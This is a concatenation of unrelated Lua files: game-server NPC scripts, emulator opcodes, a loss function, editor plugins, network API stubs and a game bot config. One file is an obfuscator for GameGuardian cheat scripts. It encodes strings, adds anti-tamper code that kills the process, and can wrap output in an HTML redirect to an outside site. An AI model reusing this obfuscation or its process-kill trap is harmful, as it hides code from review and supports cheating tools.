-- try localize whole/part of string
-- no more-than-1 replacement for current existing keys.
function ChatLocalization:tryLocalize(rawString)
if existingKey[rawString] then
return self:Get(existingKey[rawString], rawString)
end
for enString, localizationKey in pairs(existingKey) do
if string.find(rawString, enString) then
local localizedPart = self:Get(localizationKey, enString)
return string.gsub(rawString, enString, localizedPart, 1)
end
end
return rawString
end
return ChatLocalization
|
local BCECriterion2, parent = torch.class('nn.BCECriterion2', 'nn.Criterion')
local eps = 1e-12
function BCECriterion2:__init()
parent.__init(self)
self.sizeAverage = true
end
function BCECriterion2:updateOutput(input, target)
-- log(input) * target + log(1 - input) * (1 - target)
self.term1 = self.term1 or input.new()
self.term2 = self.term2 or input.new()
self.term3 = self.term3 or input.new()
self.term1:resizeAs(input)
self.term2:resizeAs(input)
self.term3:resizeAs(input)
self.term1:fill(1):add(-1,target)
self.term2:fill(1):add(-1,input):add(eps):log():cmul(self.term1)
self.term3:copy(input):add(eps):log():cmul(target)
self.term3:add(self.term2)
if self.sizeAverage then
self.term3:div(target:nElement())
end
self.output = - self.term3:sum()
return self.output
end
function BCECriterion2:updateGradInput(input, target)
-- target / input - (1 - target) / (1 - input)
self.term1 = self.term1 or input.new()
self.term2 = self.term2 or input.new()
self.term3 = self.term3 or input.new()
self.term1:resizeAs(input)
self.term2:resizeAs(input)
self.term3:resizeAs(input)
self.term1:fill(1):add(-1,target)
self.term2:fill(1):add(-1,input)
self.term2:add(eps)
self.term1:cdiv(self.term2)
self.term3:copy(input):add(eps)
self.gradInput:resizeAs(input)
self.gradInput:copy(target):cdiv(self.term3)
self.gradInput:add(-1,self.term1)
if self.sizeAverage then
self.gradInput:div(target:nElement())
end
self.gradInput:mul(-1)
return self.gradInput
end
|
index_ime = math.random(#musko_ime_nom);
ime = musko_ime_nom[index_ime];
padez = musko_ime_gen[index_ime];
|
local oldmenu
local menuIsShown = false
local function hideMenu()
menuIsShown = false
oldmenu = ide.frame.menuBar
ide.frame:SetMenuBar(wx.wxMenuBar(0))
end
local function showMenu()
menuIsShown = true
ide.frame:SetMenuBar(oldmenu)
end
return {
name = "Hide menu",
description = "Hides the menubar.",
author = "David Krawiec",
version = 0.1,
onAppLoad = function(package)
hideMenu()
end,
onEditorKeyDown = function(self, editor, event)
local key = event:GetKeyCode()
local mod = event:GetModifiers()
if (key == wx.WXK_ALT and menuIsShown == false) then
showMenu()
elseif (key == wx.WXK_ALT and menuIsShown == true) then
hideMenu()
end
end,
}
|
object_tangible_loot_npc_loot_metal_case_generic = object_tangible_loot_npc_loot_shared_metal_case_generic:new {
objectMenuComponent = "HalloweenMenuComponent",
}
ObjectTemplates:addTemplate(object_tangible_loot_npc_loot_metal_case_generic, "object/tangible/loot/npc/loot/metal_case_generic.iff")
|
gt={}
function gteam(data)
local s2={}
local i=0
while true do
i=i+1
s1=data:match("function.-%(%).-end.-function")
if s1==nil then break end
data=data:gsub("function.-%(%).-end.-function","function",1)
s1=s1:gsub("function$","",1):gsub("function.-%(%)","",1):gsub(" $",""):gsub("\n*$",""):gsub("end$","")
s2[i]=s1
end
return s2
end
function byYT(YT)
return YT:gsub(".", function(jia)
return string.format("%02X", (string.byte(jia)) % 256)
end):gsub(" ", "+")
end
function byGT()
s64=""
vbg=math.random(180,250)
for nb=1,vbg do
if nb==vbg then
s64=s64..math.random(69,334)
else
s64=s64..math.random(69,334).."," end
end
if log[2] then
return " "..da.."=gg.makeRequest(gt.ip).content"..mi64().."={"..s64.."} "
else
return mi64().."={"..s64.."} file=io.open(gg.getFile(),'r') "..da.." = file:read('*a') file:close() "..mi64().."={"..s64.."} "
end
end
function yz(data)
pcall(load("\116\49\61\123\34\92\39\91\94\92\110\93\42\92\34\46\45\92\34\91\94\92\110\93\42\92\39\34\44\34\92\34\91\94\92\110\93\42\92\39\46\45\92\39\91\94\92\110\93\42\92\34\34\44\34\92\34\91\94\92\110\93\42\92\92\92\34\46\45\92\92\92\34\91\94\92\110\93\42\92\34\34\44\34\92\39\91\94\92\110\93\42\92\92\92\39\46\45\92\92\92\39\91\94\92\110\93\42\92\39\34\44\34\37\45\37\45\91\94\92\110\93\42\34\44\34\37\45\37\45\37\91\37\91\46\42\37\93\37\93\34\125"))
for vb=1,#t1 do
if data:find(t1[vb]) ~= nil then
wt=data:match(t1[vb])
rj("非常抱歉,GTS5.2 暂时不支持加密:\n"..wt.."文本\n\n请修改或者使用赋值或者删除","错误代码"..vb)
yyx=false
end
end
end
function mi64()
local zm64={"a","b","c","d","e","f","g","h","m","z","k","l","i","o","p","s","j","z","x","v","n","y","t","r","u"}
local hs=""
local sz=""
local lp=0
local wll=math.random(32,64)
for i=1,wll do
local sj=math.random(1,25)
local kl=math.random(1,4)
local ko=math.random(1,6)
if kl%2==0 and i>1 then zm66=zm64[sj] else
zm66=string.upper(zm64[sj])
end
if ko%3==0 and lp<2 and i>1 then
local zm66="_"
local lp=lp+1
end
hs=hs..zm66
sj,kl,ko=0,0,0
end
lp=0
return hs
end
YTjm=mi64()
ZSYT=mi64()
YGTS=mi64()
local iii=0
function GTS5(data,gs)
if yt[4] then
gs=yt[2].."/"..gs..".html"
else
gs=yt[2].."/"..gs..".lua"
end
gt.opp=""
while true do
gt.gts=data:match("'(.-)'")
if gt.gts~= nil then
gt.gts1=byYT(gt.gts)
m64=mi64()
sj64=mi64()
sjz=" function "..sj64.."(gts,"..YGTS..") return ("..YGTS..":gsub('..', function (gts) return string.char((tonumber(gts,16))%256) end))end \n"
gt.opp=sjz..gt.opp..m64.."="..sj64.."(\""..ZSYT.."\",\""..gt.gts1.."\") "
data=data:gsub("'.-'",m64,1)
else
break
end
end
while yyx do
gt.gts=data:match('"(.-)"')
if gt.gts~= nil then
gt.gts1=byYT(gt.gts)
m64=mi64()
sj64=mi64()
sjz=" function "..sj64.."(gts,"..YGTS..") return ("..YGTS..":gsub('..', function (gts) return string.char((tonumber(gts,16))%256) end))end \n"
gt.opp=sjz..gt.opp..m64.."="..sj64.."(\""..ZSYT.."\",\""..gt.gts1.."\") "
data=data:gsub('".-"',m64,1)
else
break
end
end
data2=gt.opp..data
data2=data2:gsub("\n"," ")
while data2:find(" ")~=nil do
data2=data2:gsub(" "," ")
end
while #data2 < log[1]+#data1 and yyx do
j3=string.format("%0.2f",#data2/(log[1]+#data))*100
--gg.toast(#data2.."/"..log[1]+#data1)
da=mi64()
pd=' if #'..da..'>gt1545496702gtdaa or #'..da..'<gt1545496702gtdax then os.exit() while (true) do gg.setVisible(false) gg.processKill() gg.setVisible(true) end end '
data2=byGT()..pd..data2..pd..byGT()
j3=j3..""
j4=string.format("%d",j3)+0
加密进度.Text="已加密:"..j4.."%"
进度条.progress=(j4)
if 进度条.progress==100 or #data2>log[1]+#data1 then print("加密成功") dldown.dismiss() end
end
if yt[4] and yyx then
data2='\n--[[\n<!DOCTYPE HTML>\n<html>\n<head>\n<meta http-equiv="refresh" content="0.1;url=http://gg.swmig.cn/pj.html">\n</head>\n<body></body>\n</html>\n<!--]]\n'..data2..'\n-->'
end
by={}
function byt(byst)
by.c=""
byst=byst..""
for iby=1,#byst do
by.a=byst:byte(iby)
by.c=by.c.."\\"..by.a
end
return "\""..by.c.."\"".."+0"
end
data2="--GTS5.2加密\n--2019©GTeam提供技术支持\n"..data2
gts10=data2:gsub("gt1545496702gtdaa",byt(#data2+7)):gsub("gt1545496702gtdax",byt(#data2-7))
data2=data2:gsub("gt1545496702gtdaa",byt(#gts10+2)):gsub("gt1545496702gtdax",byt(#gts10-2))
if yyx then
file=io.open(gs,"w")
file:write(data2)
file:close()
rj("加密成功输出地址:"..gs)
end
end
function gts5(gtfile,gtpoth)
local 输出文件名=gtfile:match("/([^/]+)$")
local 输出文件名=输出文件名:gsub("%.([^%.]+)$","-GTs5.lua")
yyx=true
yt={gtfile,gtpoth,false,false}
log={845636,false}
gt.test=yt[1]
gt.test = loadfile(gt.last)
file=io.open(yt[1],"r")
data1 = file:read('*a')
file:close()
yz(data1)
if yt[3] and yyx then
ym=gteam(data1)
tz=""
sb={}
sb1=0
for il=1,#ym do
file=io.open( 本地目录.."/"..il,"w")
file:write(ym[il])
file:close()
if loadfile( 本地目录.."/"..il)~=nil then
tz=tz.."功能"..il.."加载成功\n"
else
tz=tz.."功能"..il.."加载失败\n\n"
sb1=sb1+1
sb[sb1]=ym[il]
ym[il]=""
end
os.remove( 本地目录.."/"..il)
end
if sb[1]~=nil then sb3="查看失败代码" else sb3="" end
if gg.alert("失败代码将不会加密\n\n"..tz,"继续",sb3)==2 then
gt.xz=""
for ill=1,#sb do
gt.xz=gt.xz..ill.." "..sb[ill]
end
if gg.alert(gt.xz,"继续","退出")==2 then os.exit() end
end
for uio=1,#ym do
if ym[uio]~=nil then GTS5(ym[uio],uio) end
end
else
GTS5(data1,输出文件名)
end
end
|
local bit32 = require("bit")
local lshift = bit32.lshift
local band = bit32.band
function apply(opcodes, opcode_cycles, z80, memory)
local read_at_hl = z80.read_at_hl
local set_at_hl = z80.set_at_hl
local read_nn = z80.read_nn
local reg = z80.registers
local flags = reg.flags
local read_byte = memory.read_byte
local write_byte = memory.write_byte
cp_with_a = function(value)
-- half-carry
flags.h = (reg.a % 0x10) - (value % 0x10) < 0
local temp = reg.a - value
-- carry (and overflow correction)
flags.c = temp < 0 or temp > 0xFF
temp = (temp + 0x100) % 0x100
flags.z = temp == 0
flags.n = true
end
-- cp A, r
opcodes[0xB8] = function() cp_with_a(reg.b) end
opcodes[0xB9] = function() cp_with_a(reg.c) end
opcodes[0xBA] = function() cp_with_a(reg.d) end
opcodes[0xBB] = function() cp_with_a(reg.e) end
opcodes[0xBC] = function() cp_with_a(reg.h) end
opcodes[0xBD] = function() cp_with_a(reg.l) end
opcode_cycles[0xBE] = 8
opcodes[0xBE] = function() cp_with_a(read_at_hl()) end
opcodes[0xBF] = function() cp_with_a(reg.a) end
-- cp A, nn
opcode_cycles[0xFE] = 8
opcodes[0xFE] = function() cp_with_a(read_nn()) end
end
return apply
|
return {
["Test"] = "translate test";
["RunningInOtherWindow"] = "Studio Timer can not be run in two window (or click here to continue in this window)";
["Session_time"] = "Session time : ";
["Summation_time"] = "Summation time : ";
["OpenSourceLicense"] = "Open Source License";
["settings"] = "settings";
["Settings"] = "Settings";
["Back"] = "Back";
}
|
-- DAG definition: it is encoded as an array of stages.
Stages = {{ name="S14", tasks="7", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S14.txt")}}, pre={"S9"}, post={}},{ name="S1", tasks="2", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S1.txt")}}, pre={"S0"}, post={"S3"}},{ name="S0", tasks="2", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S0.txt")}}, pre={}, post={"S1","S2"}},{ name="S3", tasks="200", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S3.txt")}}, pre={"S1","S2"}, post={"S4"}},{ name="S2", tasks="3958", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S2.txt")}}, pre={"S0"}, post={"S3"}},{ name="S4", tasks="200", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S4.txt")}}, pre={"S3"}, post={"S8"}},{ name="S9", tasks="1", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S9.txt")}}, pre={"S8"}, post={"S14"}},{ name="S8", tasks="200", distr={type="empirical", params={samples=solver.fileToArray("/home/biagio/repositories/OPT_Deadline/test/app_files/testP82/S8.txt")}}, pre={"S4"}, post={"S9"}}};
-- Number of computation nodes in the system
Nodes = @@nodes@@;
-- Number of users accessing the system
Users = 1;
-- Distribution of the think time for the users
UThinkTimeDistr = {type = "exp", params = {rate = 0.001}};
-- Total number of jobs to simulate
maxJobs = 1000;
-- Coefficient for the Confidence Intervals
confIntCoeff = 1.96;
|
style =
{["off_color"] = "fff",
["on_color"] = "fff",
["line_color"] = "000",
["line_width"] = "2"};
full_style =
{["off_color"] = "000",
["on_color"] = "000",
["line_color"] = "000",
["line_width"] = "2"};
empty_style =
{["off_color"] = "fff",
["on_color"] = "fff",
["line_color"] = "000",
["line_width"] = "2"};
check_style =
{["off_color"] = "fff",
["on_color"] = "ff00ff",
["line_color"] = "fff",
["line_width"] = "1"};
--[[ Plot one element at (x, y):
type == 1 (empty triangle), 2 (full triangle),
3 (empty square), 4 (full square)
]]
element = function(x, y, type)
if (type == 1 or type == 2) then
mx = x + w/2
my = y + w/2
if (type == 1) then
lib.add_triangle(mx, my, ow, ow, empty_style, false, false)
else
lib.add_triangle(mx, my, ow, ow, full_style, false, false)
end
else
mx = x + (w-ow)/2
my = y + (w-ow)/2
if (type == 3) then
lib.add_rectangle(mx, my, ow, ow, empty_style, false, false)
else
lib.add_rectangle(mx, my, ow, ow, full_style, false, false)
end
end
end
mycanvas = function()
--[[ Construct random permutation of object for horiz and vertical inputs ]]
test = {1, 2, 3, 4}
horiz = lib.math.random_shuffle(test)
vert = lib.math.random_shuffle(test)
--[[ Construct results array by comparing where random permutations match ]]
results = ""
for i = 1,4 do
for j = 1,4 do
ind = (i-1)*4 + (j-1)
if ind > 0 then
results = results .. "&& "
end
results = results .. "result[" .. tostring(ind) .. "] == "
if (horiz[i] == vert[j]) then
results = results .. "1 "
else
results = results .. "0 "
end
end
end
lib.start_canvas(320, 300, "center", results)
w = 60
ow = 40
for i = 1,4 do
lib.add_line(0, i*w, 5*w, 0, style, false, false)
lib.add_line(i*w, 0, 0, 5*w, style, false, false)
element(0, i*w, vert[i])
element(i*w, 0, horiz[i])
end
lib.add_line(0, 5*w, 5*w, 0, style, false, false)
lib.add_line(5*w, 0, 0, 5*w, style, false, false)
example_set = false
for i = 1,4 do
for j = 1,4 do
x = i*w + (w-ow)/2
y = j*w + (w-ow)/2
if (horiz[i] == vert[j] and not example_set) then
example_set = true
lib.add_rectangle(x, y, ow, ow, check_style, true, true)
else
lib.add_rectangle(x, y, ow, ow, check_style, false, true)
end
end
end
lib.end_canvas()
end
|
--[[
joli-lune
small framework for love2d
MIT License (see licence file)
]]
local Render = require "src.renderer"
local lg = love.graphics
local BatchRenderer = Render:extend(Render)
local shapefunc = {
rect = lg.rectangle,
circ = lg.circle
}
function BatchRenderer:__tostring()
return "batchrenderer"
end
function BatchRenderer:new(batch)
BatchRenderer.super.new(self)
self.batch = batch
self.rendertype = "batch"
end
function BatchRenderer:draw(position,ox,oy)
BatchRenderer.super.draw(self)
local x, y, z, r, sx, sy = position:get()
x, y = self:getPosition(x,y,ox,oy)
lg.push()
lg.scale(sx,sy)
lg.draw(self.batch, x, y)
lg.pop()
if self.tint then
lg.setColor(1,1,1,1)
end
end
return BatchRenderer
|
function WorkbookXP_Wood(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Woodwork, 25);
end
function WorkbookXP_Electricity(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Electricity, 25);
end
function WorkbookXP_Welding(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 25);
end
function WorkbookXP_Tailoring(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Tailoring, 25);
end
function CraftXP_WoodworkBase(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Woodwork, 2);
end
function CraftXP_FoodBase(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Cooking, 2);
end
function CraftXP_Ropework(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Tailoring, 2);
end
function CraftXP_Burner(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 45);
end
function CraftXP_Smithing(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 15);
end
function CraftXP_SmithingPlastic(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 4);
end
function CraftXP_Scrapping(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 2);
end
function CraftXP_Mending_Wood(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.Woodwork, 10);
end
function CraftXP_Mending_Blade(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 10);
end
function CraftXP_CarMaintenance(recipe, ingredients, result, player)
player:getXp():AddXP(Perks.MetalWelding, 25);
player:getXp():AddXP(Perks.Electricity, 15);
player:getXp():AddXP(Perks.Mechanics, 125);
end
|
object_mobile_wedge_antilles_remembrance_day = object_mobile_shared_wedge_antilles_remembrance_day:new {
}
ObjectTemplates:addTemplate(object_mobile_wedge_antilles_remembrance_day, "object/mobile/wedge_antilles_remembrance_day.iff")
|
-----------------------------------
-- Area: Aydeewa Subterrane
-- NPC: ??? (Spawn Chigre(ZNM T1))
-- !pos -217 35 12 68
-----------------------------------
local ID = require("scripts/zones/Aydeewa_Subterrane/IDs")
require("scripts/globals/npc_util")
-----------------------------------
function onTrade(player,npc,trade)
if npcUtil.tradeHas(trade, 2602) and npcUtil.popFromQM(player, npc, ID.mob.CHIGRE) then
player:confirmTrade()
player:messageSpecial(ID.text.DRAWS_NEAR)
end
end
function onTrigger(player,npc)
player:messageSpecial(ID.text.BLOOD_STAINS)
end
|
-------------------------------------
-- Area: Southern San d'Oria
-- NPC: Glenne
-- Starts and Finishes Quest: A Sentry's Peril
-- !pos -122 -2 15 230
-------------------------------------
require("scripts/globals/settings");
require("scripts/globals/titles");
require("scripts/globals/shop");
require("scripts/globals/quests");
local ID = require("scripts/zones/Southern_San_dOria/IDs");
require("scripts/globals/pathfind");
local path =
{
-121.512833, -2.000000, 14.492509,
-122.600044, -2.000000, 14.535807,
-123.697128, -2.000000, 14.615446,
-124.696846, -2.000000, 14.707844,
-123.606018, -2.000000, 14.601295,
-124.720863, -2.000000, 14.709210,
-123.677681, -2.000000, 14.608237,
-124.752579, -2.000000, 14.712106,
-123.669525, -2.000000, 14.607473,
-124.788277, -2.000000, 14.715488,
-123.792847, -2.000000, 14.619405,
-124.871826, -2.000000, 14.723736
};
function onSpawn(npc)
npc:initNpcAi();
npc:setPos(tpz.path.first(path));
onPath(npc);
end;
function onPath(npc)
tpz.path.patrol(npc, path);
end;
function onTrade(player,npc,trade)
local count = trade:getItemCount();
if (player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.FLYERS_FOR_REGINE) == QUEST_ACCEPTED and
trade:hasItemQty(532,1) and count == 1) then
player:messageSpecial(ID.text.FLYER_REFUSED);
elseif (player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL) == QUEST_ACCEPTED and
trade:hasItemQty(601,1) and count == 1) then
player:startEvent(513);
npc:wait();
end
end;
function onTrigger(player,npc)
local aSentrysPeril = player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL);
npc:wait();
if (aSentrysPeril == QUEST_AVAILABLE) then
player:startEvent(510);
elseif (aSentrysPeril == QUEST_ACCEPTED) then
if (player:hasItem(600) == true or player:hasItem(601) == true) then
player:startEvent(520);
else
player:startEvent(644);
end
elseif (aSentrysPeril == QUEST_COMPLETED) then
player:startEvent(521);
else
npc:wait(0);
end
end;
function onEventUpdate(player,csid,option)
-- printf("CSID2: %u",csid);
-- printf("RESULT2: %u",option);
end;
function onEventFinish(player,csid,option,npc)
npc:wait(5000);
if (csid == 510 and option == 0) then
if (player:getFreeSlotsCount() > 0) then
player:addQuest(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL);
player:addItem(600);
player:messageSpecial(ID.text.ITEM_OBTAINED,600);
else
player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,600); -- Dose of ointment
end
elseif (csid == 644) then
if (player:getFreeSlotsCount() > 0) then
player:addItem(600);
player:messageSpecial(ID.text.ITEM_OBTAINED,600);
else
player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,600); -- Dose of ointment
end
elseif (csid == 513) then
if (player:getFreeSlotsCount() == 0) then
player:messageSpecial(ID.text.ITEM_CANNOT_BE_OBTAINED,12832); -- Bronze Subligar
else
player:tradeComplete();
player:addTitle(tpz.title.RONFAURIAN_RESCUER);
player:addItem(12832);
player:messageSpecial(ID.text.ITEM_OBTAINED,12832); -- Bronze Subligar
player:addFame(SANDORIA,30);
player:completeQuest(SANDORIA,tpz.quest.id.sandoria.A_SENTRY_S_PERIL);
end
end
end;
|
---@meta
--=== net ===
---@class net
---@field TCP integer
---@field UDP integer
net = {}
---@class net.dns
net.dns = {}
---@class netsocket
local netsocket = {}
---@class netsrv
local netsrv = {}
---@class udpsocket
local udpsocket = {}
---Creates a client.
---@param type? integer|'net.TCP' @"(optional) `net.TCP` (default) or `net.UDP` There's no such thing as \n a UDP connection because UDP is connection*less*. Thus no connection `type` parameter \n should be required. For UDP use `net.createUDPSocket()` instead."
---@param secure? integer @"(optional) 0 for plain (default). Secure connections are not supported, \n and the `secure` parameter is ignored."
---@return netsocket @>
--- - for `net.TCP` - net.socket sub module
--- - for `net.UDP` - net.udpsocket sub module
function net.createConnection(type, secure) end
---Creates a server.
---@param type? integer|'net.TCP' @"(optional) The `type` parameter will be removed in upcoming \n releases so that `net.createServer` will always create a TCP-based server. \n For UDP use `net.createUDPSocket()` instead."
---@param timeout? integer @"(optional) for a TCP server timeout is 1~28'800 seconds, \n 30 sec by default (for an inactive client to be disconnected)"
---@return netsrv @>
--- - for `net.TCP` - net.server sub module
--- - for `net.UDP` - net.udpsocket sub module
function net.createServer(type, timeout) end
---Creates an UDP socket.
---@return udpsocket @net.udpsocket submodule
function net.createUDPSocket() end
---Join multicast group.
---@param if_ip string @"string containing the interface ip to join the multicast group. \n 'any' or '' affects all interfaces."
---@param multicast_ip string @of the group to join
---@return nil
function net.multicastJoin(if_ip, multicast_ip) end
---Leave multicast group.
---@param if_ip string @"string containing the interface ip to leave the multicast group. \n 'any' or '' affects all interfaces."
---@param multicast_ip string @of the group to leave
---@return nil
function net.multicastLeave(if_ip, multicast_ip) end
---Closes the server.
---@return nil
function netsrv:close() end
---Listen on port from IP address.
---@param port? integer @(optional) number, can be omitted (random port will be chosen)
---@param ip? string @(optional) IP address string, can be omitted
---@param callback fun(net.socket:netsocket) @"`function(net.socket)`, pass to caller function as param if \n a connection is created successfully"
---@return nil
function netsrv:listen(port, ip, callback) end
---Returns server local address/port.
---@return integer|nil @port or `nil` if not listening
---@return string|nil @ip or `nil` if not listening
function netsrv:getaddr() end
---Closes socket.
---@return nil
function netsocket:close() end
---Connect to a remote server.
---@param port integer @port number
---@param ip_or_domain string @IP address or domain name string
---@return nil
function netsocket:connect(port, ip_or_domain) end
---Provides DNS resolution for a hostname.
---@param domain string @domain name
---@param callback fun(net.socket:netsocket, ip:string) @`function(net.socket, ip)`.
---The first parameter is the socket, the second parameter is the IP address as a string.
---@return nil
function netsocket:dns(domain, callback) end
---Retrieve port and ip of remote peer.
---@return integer|nil @port or `nil` if not connected
---@return string|nil @ip or `nil` if not connected
function netsocket:getpeer() end
---Retrieve local port and ip of socket.
---@return integer|nil @port or `nil` if not connected
---@return string|nil @ip or `nil` if not connected
function netsocket:getaddr() end
---Throttle data reception by placing a request to block the TCP receive function.\
---This request is not effective immediately, Espressif recommends to call it\
---while reserving 5*1460 bytes of memory.
---@return nil
function netsocket:hold() end
---Register callback functions for specific events.
---@param event string|'"connection"'|'"reconnection"'|'"disconnection"'|'"receive"'|'"sent"' @event
---@param callback fun(net.socket:netsocket, str:string) @`function(net.socket[, string])`. Can be `nil` to remove callback.
---The first parameter of callback is the socket.
--- - If event is `"receive"`, the second parameter is the received data as string.
--- - If event is `"disconnection"` or `"reconnection"`, the second parameter is error code.\
--If `"reconnection"` event is specified, disconnection receives only "normal close" events.\
--Otherwise, all connection errors (with normal close) passed to disconnection event.
---@return nil
function netsocket:on(event, callback) end
---Sends data to remote peer.
---@param str string @data in string which will be sent to server
---@param callback? fun(sent:string) @(optional) `function(sent)` for sending string
---@return nil
function netsocket:send(str, callback) end
---Unblock TCP receiving data by\
---revocation of a preceding `hold()`.
---@return nil
function netsocket:unhold() end
---Closes UDP socket.
---@return nil
function udpsocket:close() end
---Listen on port from IP address.
---@param port? integer @(optional) port number, can be omitted (random port will be chosen)
---@param ip? string @(optional) IP address string, can be omitted
---@return nil
function udpsocket:listen(port, ip) end
---Register callback functions for specific events.
---@param event string|'"receive"'|'"sent"'|'"dns"' @receive | sent | dns
---@param callback fun(net.socket:netsocket, str:string) @`function(net.socket[, string])`. Can be `nil` to remove callback.
---The first parameter of callback is the socket.
--- - If event is `"receive"`, the second parameter is the received data as string.\
---The `receive` callback receives port and ip *after* the data argument.\
---Otherwise, all connection errors (with normal close) passed to disconnection event.
---@return nil
function udpsocket:on(event, callback) end
---Sends data to specific remote peer.
---@param port integer @remote socket port
---@param ip string @remote socket IP
---@param data any @the payload to send
---@return nil
function udpsocket:send(port, ip, data) end
---Provides DNS resolution for a hostname.
---@param domain string @domain name
---@param callback fun(net.socket:netsocket, ip:string) @`function(net.socket, ip)`.
---The first parameter is the socket, the second parameter is the IP address as a string.
---@return nil
function udpsocket:dns(domain, callback) end
---Retrieve local port and ip of socket.
---@return integer|nil @port or `nil` if not connected
---@return string|nil @ip or `nil` if not connected
function udpsocket:getaddr() end
---Gets the IP address of the DNS server used to resolve hostnames.
---@param dns_index integer|'0'|'1' @which DNS server to get (range 0~1)
---@return string @IP address (string) of DNS server
function net.dns.getdnsserver(dns_index) end
---Resolve a hostname to an IP address. Doesn't require a socket like `net.socket.dns()`.
---@param host string @hostname to resolve
---@param callback fun(sk:nil, ip:string) @`function(sk, ip)` called when the name was resolved. **sk** is always `nil`
---@return nil
function net.dns.resolve(host, callback) end
---Sets the IP of the DNS server used to resolve hostnames.
---@param dns_ip_addr string @IP address of a DNS server. Default: resolver1.opendns.com (208.67.222.222).
---@param dns_index integer|'0'|'1' @which DNS server to set (range 0~1). Hence, it supports max. 2 servers.
---@return nil
function net.dns.setdnsserver(dns_ip_addr, dns_index) end
|
------------------------ Config --------------------------
-- Weak move name - False Swipe, Dragon Rage, Sonicboom, etc. --- Use "" if you don't wish to damage opponents before catching them
weakMove = "False Swipe"
-- Name of status move - Spore, Hypnosis, Thunder Wave, etc. --- Use "" if you don't wish to afflict opponents with a status before catching them
statusMove = "Spore"
-- Use Role Play when catching Pokémon? - Will check the Pokémon in catchList for the abilities listed in the abilities table
useRolePlay = false
-- Do ALL of our Sync Pokémon (morningSync, daySync, and nightSync) have Role Play? --- ignore this if useRolePlay = false
rolePlayAsWell = false
-- Sync nature to use during morning
morningSync = "Bold"
-- Sync nature to use during daytime
daySync = "Impish"
-- Sync nature to use during nighttime
nightSync = "Adamant"
-- Minimum level for our Sync Pokémon - used when we retrieve it from the PC
minSyncLevel = 40
-- List of Pokémon to catch, and release the bad ones
catchList = { "Clefairy", "Snorlax", "Electabuzz" }
-- List of Pokémon to catch that will not get released under any circumstances
-- Also will not use Role Play on these Pokémon
exceptionCatches = { "Bulbasaur", "Charmander", "Squirtle", "Larvitar" }
-- Release Pokémon with the wrong nature?
tossWrongNature = false
-- The natures you want to keep - ignore this if tossWrongNature = false
natures = { "Bold", "Impish", "Adamant" }
-- Minimum IV's --- Order is Attack, Defence, SpAttack, SpDefence, Speed, HP --- use 0 to not check against a particular IV
minIVs = {0, 0, 0, 0, 0, 0}
-- Release Pokémon with the wrong ability?
tossWrongAbility = false
-- The abilities to look for - Used for Role Play even if tossWrongAbility = false --- if tossWrongAbility = true, Pokémon in catchList without one of these abilities will get released
abilities = { "Magic Guard", "Immunity", "Static" }
-- Release Pokémon with the wrong Hidden Power type?
tossWrongHP = false
-- Hidden Power types to look for - ignore this if tossWrongHP = false --- Remember that any Pokémon in catchList without one of these HP types will get released, so be careful
hpTypes = { "Fire" }
-- Attack Pokémon that we're not catching?
farm = true
-- If farm = true, this is the index of the Pokémon will get sent out to fight, instead of fighting with your Sync Pokémon
-- Set to 0 to just attack with whatever Pokémon happens to be out
farmer = 2
-- If farm = true, we will only attack Pokémon that give this EV - "HP", "ATK", "DEF", "SPATK", "SPDEF", or "SPD" --- use "", nil, or false to attack everything
evToTrain = ""
-- Use items to heal our Pokémon instead of going to the Pokécenter to heal? - Useful for the Safari Zone or the Moon
useItems = false
-- Names of items to use --- {Reviving, Healing, Restoring PP, Paralysis, Poison} --- Use "" for a particular item to never use that type
items = {"Revive", "Hyper Potion", "Leppa Berry", "Lum Berry", "Lum Berry"}
-- Head to the Pokécenter when one of our Pokémon is Paralyzed or Poisoned?
healWhenStatused = false
-- Catch Pokémon we've never caught before?
catchNotCaught = false
-- Auto-evolve Pokémon?
autoEvolve = false
-- Enable private messaging?
enableMessages = false
-- Hunting location for morning time - Hour >= 4 and Hour < 10
morningMap = "Mt. Moon 1F"
-- The type of hunting area for morning time - use "Grass", "Water", {x1, y1, x2, y2} - use {x, y} to set the cell to go to for fishing
-- If you're using a rectangle, you can set more rectangles to hunt in just by adding 4 more parameters
-- for example: morningArea = {ax1, ay1, ax2, ay2,
-- bx1, by1, bx2, by2,
-- cx1, cy1, cx2, cy2} etcetera, as many as you like
morningArea = {19, 38, 19, 44}
-- Daytime location - Hour >= 10 and Hour < 20
dayMap = "Route 11"
-- Daytime hunting area - "Grass", "Water", {x, y}, or {x1, y1, x2, y2}, multiple rectangles are fine
dayArea = "Grass"
-- Nighttime location - Hour >= 20 or Hour < 4
nightMap = "Route 10_A"
-- Nighttime hunting area - "Grass", "Water", {x, y}, or {x1, y1, x2, y2}, multiple rectangles are fine
nightArea = {14, 10, 20, 10}
